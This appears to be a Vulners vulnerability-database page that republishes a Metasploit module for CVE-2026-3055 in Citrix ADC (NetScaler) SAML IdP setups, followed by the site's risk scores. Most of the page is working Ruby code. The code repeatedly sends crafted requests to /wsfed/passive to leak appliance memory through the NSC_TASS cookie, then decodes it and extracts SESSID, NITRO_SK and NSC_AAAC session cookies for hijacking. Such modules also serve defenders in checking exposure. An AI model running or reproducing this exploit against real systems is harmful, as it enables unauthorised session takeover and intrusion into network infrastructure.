Lucene search
K

Citrix ADC (NetScaler) CVE-2026-3055 Scanner

🗓️ 20 May 2026 18:58:09Reported by watchTowr, sfewer-r7Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 260 Views

Scans Citrix ADC configured as SAML IdP for CVE-2026-3055 to leak memory for session cookie hijack.

Related
Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary

  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::Scanner
  include Msf::Auxiliary::Report

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Citrix ADC (NetScaler) CVE-2026-3055 Scanner',
        'Description' => %q{
          This module scans for a vulnerability that allows a remote, unauthenticated attacker to leak memory from a
          target Citrix ADC server configured as a SAML IdP. The leaked memory is then scanned for session cookies
          which can be hijacked if found.
        },
        'Author' => [
          'watchTowr', # Original technical analysis and PoC for CVE-2026-3055
          'sfewer-r7' # Metasploit module for CVE-2026-3055, based on the watchTowr PoC and Spencer McIntyre's module for CVE-2023-4966.
        ],
        'References' => [
          ['CVE', '2026-3055'],
          ['URL', 'https://labs.watchtowr.com/the-sequels-are-never-as-good-but-were-still-in-pain-citrix-netscaler-cve-2026-3055-memory-overread/'],
          ['URL', 'https://labs.watchtowr.com/please-we-beg-just-one-weekend-free-of-appliances-citrix-netscaler-cve-2026-3055-memory-overread-part-2/']
        ],
        'DisclosureDate' => '2026-03-23',
        'License' => MSF_LICENSE,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [],
          'SideEffects' => []
        },
        'DefaultOptions' => { 'RPORT' => 443, 'SSL' => true }
      )
    )

    register_options(
      [
        OptString.new('TARGETURI', [true, 'Base path', '/']),
        OptInt.new('LEAK_REQUEST_COUNT', [true, 'The number of HTTP requests per host to try and leak data when exploiting the vulnerability', 4096]),
        OptInt.new('CHECK_REQUEST_COUNT', [true, 'The maximum number of HTTP requests per host to try and leak data when checking for the vulnerability', 4]),
      ]
    )
  end

  def check_host(_target_host)
    datastore['CHECK_REQUEST_COUNT'].times do
      res = send_request_cgi(
        'method' => 'GET',
        'uri' => normalize_uri(target_uri.path, 'wsfed', 'passive'),
        'headers' => {
          'Host' => Rex::Text.rand_text_alpha(128)
        },
        'vars_get' => {
          'wctx' => nil
        }
      )

      return Exploit::CheckCode::Unknown('Connection failed') unless res

      # If has been observed that some requests generate a 200 response for a SAML error. We can continue
      # trying to leak data rather than bail out early.
      next if res.code == 200 && res.body == 'Undefined SAML error'

      return Exploit::CheckCode::Unknown("Unexpected response code #{res.code}") unless res.code == 302

      cookies = res.get_cookies

      # A patched system will not return any cookie values.
      return Exploit::CheckCode::Safe('Response has no cookies') if cookies.empty?

      return Exploit::CheckCode::Safe('Response has no NSC_TASS cookie') unless cookies.include? 'NSC_TASS='

      # We report vulnerable, as by here an unpatched system will be leaking memory in the NSC_TASS cookie, while
      # a patched system will not return any cookies at all.
      report_vuln

      return Exploit::CheckCode::Vulnerable('Response contains an NSC_TASS cookie.')
    end

    Exploit::CheckCode::Unknown
  end

  def run_host(_target_host)
    # We track the number of bytes we leak to report back to the user and help determine if we triggered the vuln or not.
    leaked_data_count = 0

    # We use a set to track the unique leaked cookies, so we don't report leaking the same cookie numerous times.
    found_cookies = Set.new

    # As we cannot control what we leak, we hit the vuln up to LEAK_REQUEST_COUNT times and hope that we leak
    # something useful during one of those attempts.
    datastore['LEAK_REQUEST_COUNT'].times do
      # Trigger CVE-2026-3055...
      res = send_request_cgi(
        'method' => 'GET',
        'uri' => normalize_uri(target_uri.path, 'wsfed', 'passive'),
        'headers' => {
          'Host' => Rex::Text.rand_text_alpha(128)
        },
        'vars_get' => {
          'wctx' => nil
        }
      )

      # Bail out early if the connection fails for this host
      unless res
        vprint_error("#{peer} - Connection failed")
        break
      end

      # A vulnerable host will return 302, but may occasionally return a 200 error, we test for this and keep
      # going if we see the 200 error, otherwise we bail out early.
      unless res.code == 302
        vprint_error("#{peer} - Unexpected response code #{res.code}")

        # If has been observed that some requests generate a 200 response for a SAML error. We can continue
        # trying to leak data rather than bail out early.
        next if res.code == 200 && res.body == 'Undefined SAML error'

        break
      end

      # The leaked data comes back to us in a Set-Cookie header, so we bail out early if no cookies are returned.
      # This will handle a patched appliance.
      # Note: A patched system will not return any cookie values.
      cookies = res.get_cookies
      if cookies.empty?
        vprint_error("#{peer} - Response has no cookies")
        break
      end

      # For every cookie returned, iterate over its key value pair and look for the NSC_TASS cookies which will
      # contain the leaked memory (base64 encoded)
      key_vals = cookies.scan(/\s?([^, ;]+?)=([^, ;]*?)[;,]/)

      key_vals.each do |k, v|
        next unless k == 'NSC_TASS'

        # Validate an NSC_TASS cookie value is well-formed base64 before attempting to decode it.
        unless v.match?(%r{\A[A-Za-z0-9+/]+={0,2}\z})
          vprint_error("#{peer} - NSC_TASS cookie value is not valid base64: #{v}")
          next
        end

        bytes = Rex::Text.decode_base64(v)

        leaked_data_count += bytes.bytesize

        # Detect the SESSID and optional NITRO_SK cookie pair. The SESSID value is a hex string, while the NITRO_SK
        # value is URL-encoded base64. The two cookies may appear in either order in the leaked data. These cookies
        # are from the management interface. Note, the management interface may or may not be bound to the same RHOST IP
        # address we are targeting, that depends on the appliance configuration. We can still leak it as its all in
        # memory either way, but we may not be able to reuse it if we cant access the management interface.
        bytes.scan(/SESSID=([0-9a-f]{32})/i).each do |match|
          sessid_value = match.first

          next if found_cookies.include?("SESSID=#{sessid_value}")

          found_cookies.add("SESSID=#{sessid_value}")

          nitro_sk_match = bytes.match(/NITRO_SK=([^\s;,]+)/i)

          if nitro_sk_match
            nitro_sk_value = nitro_sk_match[1]

            print_good("#{peer} - Leaked cookie pair: SESSID=#{sessid_value}; NITRO_SK=#{nitro_sk_value}")
          else
            print_good("#{peer} - Leaked cookie: SESSID=#{sessid_value}")
          end
        end

        # Detect NSC_AAAC cookies independently of the SESSID/NITRO_SK pair.
        bytes.scan(/NSC_AAAC=([0-9a-f]{32,64})/i).each do |match|
          nsc_aaac_value = match.first

          next if found_cookies.include?("NSC_AAAC=#{nsc_aaac_value}")

          found_cookies.add("NSC_AAAC=#{nsc_aaac_value}")

          print_good("#{peer} - Leaked cookie: NSC_AAAC=#{nsc_aaac_value}")
        end
      end
    rescue Errno::ECONNRESET
      # It was observed that the server may reset the connection when activity on the management interface is occurring.
      vprint_warning("#{peer} - Connection reset")
    end

    if leaked_data_count > 0
      message = "The target is vulnerable. Leaked #{leaked_data_count} bytes"
      if found_cookies.empty?
        message += ', but did not leak any session cookies.'
      else
        cookie_word = found_cookies.size == 1 ? 'session cookie' : 'session cookies'
        message += ", and #{found_cookies.size} unique #{cookie_word}."
      end

      print_status("#{peer} - #{message}")

      report_vuln
    else
      print_status("#{peer} - The target does not appear vulnerable.")
    end
  end

  def report_vuln
    super(
      host: rhost,
      port: rport,
      name: name,
      refs: references
    )
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

04 Jul 2026 19:01Current
7.4High risk
Vulners AI Score7.4
CVSS 3.19.8
CVSS 49.3
EPSS0.83996
SSVC
260